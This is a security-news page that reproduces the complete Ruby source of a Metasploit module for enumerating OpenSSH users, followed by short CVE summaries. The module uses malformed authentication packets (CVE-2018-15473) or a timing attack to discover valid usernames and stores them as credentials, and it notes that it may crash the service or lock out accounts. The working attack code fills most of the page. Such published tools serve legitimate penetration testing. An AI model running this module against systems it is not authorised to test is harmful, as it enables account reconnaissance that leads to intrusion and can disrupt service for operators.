Security
Headlines
HeadlinesLatestCVEs

Headline

SSH Username Enumeration

This Metasploit module uses a malformed packet or timing attack to enumerate users on an OpenSSH server. The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST packet using public key authentication (must be enabled) to enumerate users. On some versions of OpenSSH under some configurations, OpenSSH will return a “permission denied” error for an invalid user faster than for a valid user, creating an opportunity for a timing attack to enumerate users. Testing note: invalid users were logged, while valid users were not. YMMV.

Packet Storm
#git#auth#ssh
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::SSH  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::Report  def initialize(info = {})    super(      update_info(        info,        'Name' => 'SSH Username Enumeration',        'Description' => %q{          This module uses a malformed packet or timing attack to enumerate users on          an OpenSSH server.          The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST          packet using public key authentication (must be enabled) to enumerate users.          On some versions of OpenSSH under some configurations, OpenSSH will return a          "permission denied" error for an invalid user faster than for a valid user,          creating an opportunity for a timing attack to enumerate users.          Testing note: invalid users were logged, while valid users were not. YMMV.        },        'Author' => [          'kenkeiras',     # Timing attack          'Dariusz Tytko', # Malformed packet          'Michal Sajdak', # Malformed packet          'Qualys',        # Malformed packet          'wvu'            # Malformed packet        ],        'References' => [          ['CVE', '2003-0190'],          ['CVE', '2006-5229'],          ['CVE', '2016-6210'],          ['CVE', '2018-15473'],          ['OSVDB', '32721'],          ['BID', '20418'],          ['URL', 'https://seclists.org/oss-sec/2018/q3/124'],          ['URL', 'https://sekurak.pl/openssh-users-enumeration-cve-2018-15473/']        ],        'License' => MSF_LICENSE,        'Actions' => [          [            'Malformed Packet',            {              'Description' => 'Use a malformed packet',              'Type' => :malformed_packet            }          ],          [            'Timing Attack',            {              'Description' => 'Use a timing attack',              'Type' => :timing_attack            }          ]        ],        'DefaultAction' => 'Malformed Packet',        'Notes' => {          'Stability' => [            CRASH_SERVICE_DOWN # possible that a malformed packet may crash the service          ],          'Reliability' => [],          'SideEffects' => [            IOC_IN_LOGS,            ACCOUNT_LOCKOUTS, # timing attack submits a password          ]        }      )    )    register_options(      [        Opt::Proxies,        Opt::RPORT(22),        OptString.new('USERNAME',                      [false, 'Single username to test (username spray)']),        OptPath.new('USER_FILE',                    [false, 'File containing usernames, one per line']),        OptBool.new('DB_ALL_USERS',                    [false, 'Add all users in the current database to the list', false]),        OptInt.new('THRESHOLD',                   [                     true,                     'Amount of seconds needed before a user is considered ' \                     'found (timing attack only)', 10                   ]),        OptBool.new('CHECK_FALSE',                    [false, 'Check for false positives (random username)', true])      ]    )    register_advanced_options(      [        OptInt.new('RETRY_NUM',                   [                     true, 'The number of attempts to connect to a SSH server' \                   ' for each user', 3                   ]),        OptInt.new('SSH_TIMEOUT',                   [                     false, 'Specify the maximum time to negotiate a SSH session',                     10                   ]),        OptBool.new('SSH_DEBUG',                    [                      false, 'Enable SSH debugging output (Extreme verbosity!)',                      false                    ])      ]    )  end  def rport    datastore['RPORT']  end  def retry_num    datastore['RETRY_NUM']  end  def threshold    datastore['THRESHOLD']  end  # Returns true if a nonsense username appears active.  def check_false_positive(ip)    user = Rex::Text.rand_text_alphanumeric(8..32)    attempt_user(user, ip) == :success  end  def check_user(ip, user, port)    technique = action['Type']    opts = ssh_client_defaults.merge({      port: port    })    # The auth method is converted into a class name for instantiation,    # so malformed-packet here becomes MalformedPacket from the mixin    case technique    when :malformed_packet      opts.merge!(auth_methods: ['malformed-packet'])    when :timing_attack      opts.merge!(        auth_methods: ['password', 'keyboard-interactive'],        password: rand_pass      )    end    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']    start_time = Time.new    begin      ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do        Net::SSH.start(ip, user, opts)      end    rescue Rex::ConnectionError      return :connection_error    rescue Timeout::Error      return :success if technique == :timing_attack    rescue Net::SSH::AuthenticationFailed      return :fail if technique == :malformed_packet    rescue Net::SSH::Exception => e      vprint_error("#{e.class}: #{e.message}")    end    finish_time = Time.new    case technique    when :malformed_packet      return :success if ssh    when :timing_attack      return :success if (finish_time - start_time > threshold)    end    :fail  end  def rand_pass    Rex::Text.rand_text_english(64_000..65_000)  end  def do_report(ip, user, _port)    service_data = {      address: ip,      port: rport,      service_name: 'ssh',      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      origin_type: :service,      module_fullname: fullname,      username: user    }.merge(service_data)    login_data = {      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::UNTRIED    }.merge(service_data)    create_credential_login(login_data)  end  # Because this isn't using the AuthBrute mixin, we don't have the  # usual peer method  def peer(rhost = nil)    "#{rhost}:#{rport} - SSH -"  end  def user_list    users = []    users << datastore['USERNAME'] unless datastore['USERNAME'].blank?    if datastore['USER_FILE']      fail_with(Failure::BadConfig, 'The USER_FILE is not readable') unless File.readable?(datastore['USER_FILE'])      users += File.read(datastore['USER_FILE']).split    end    if datastore['DB_ALL_USERS']      if framework.db.active        framework.db.creds(workspace: myworkspace.name).each do |o|          users << o.public.username if o.public        end      else        print_warning('No active DB -- The following option will be ignored: DB_ALL_USERS')      end    end    users.uniq  end  def attempt_user(user, ip)    attempt_num = 0    ret = nil    while (attempt_num <= retry_num) && (ret.nil? || (ret == :connection_error))      if attempt_num > 0        Rex.sleep(2**attempt_num)        vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")      end      ret = check_user(ip, user, rport)      attempt_num += 1    end    ret  end  def show_result(attempt_result, user, ip)    case attempt_result    when :success      print_good("#{peer(ip)} User '#{user}' found")      do_report(ip, user, rport)    when :connection_error      vprint_error("#{peer(ip)} User '#{user}' could not connect")    when :fail      vprint_error("#{peer(ip)} User '#{user}' not found")    end  end  def run    if user_list.empty?      fail_with(Failure::BadConfig, 'Please populate DB_ALL_USERS, USER_FILE, USERNAME')    end    super  end  def run_host(ip)    print_status("#{peer(ip)} Using #{action.name.downcase} technique")    if datastore['CHECK_FALSE']      print_status("#{peer(ip)} Checking for false positives")      if check_false_positive(ip)        print_error("#{peer(ip)} throws false positive results. Aborting.")        return      end    end    users = user_list    print_status("#{peer(ip)} Starting scan")    users.each { |user| show_result(attempt_user(user, ip), user, ip) }  endend

Related news

CVE-2022-34102: Crestron Electronics, Inc.

Insufficient access control vulnerability was discovered in the Crestron AirMedia Windows Application, version 4.3.1.39, in which a user can pause the uninstallation of an executable to gain a SYSTEM level command prompt.

CVE-2020-2548: Oracle Critical Patch Update Advisory - January 2020

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: WLS Core Components). The supported version that is affected is 10.3.6.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebLogic Server, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle WebLogic Server accessible data as well as unauthorized read access to a subset of Oracle WebLogic Server accessible data. CVSS 3.0 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N).

CVE-2018-15473: delay bailout for invalid authenticating user until after the packet · openbsd/src@779974d

OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.

Packet Storm: Latest News

Zeek 6.0.8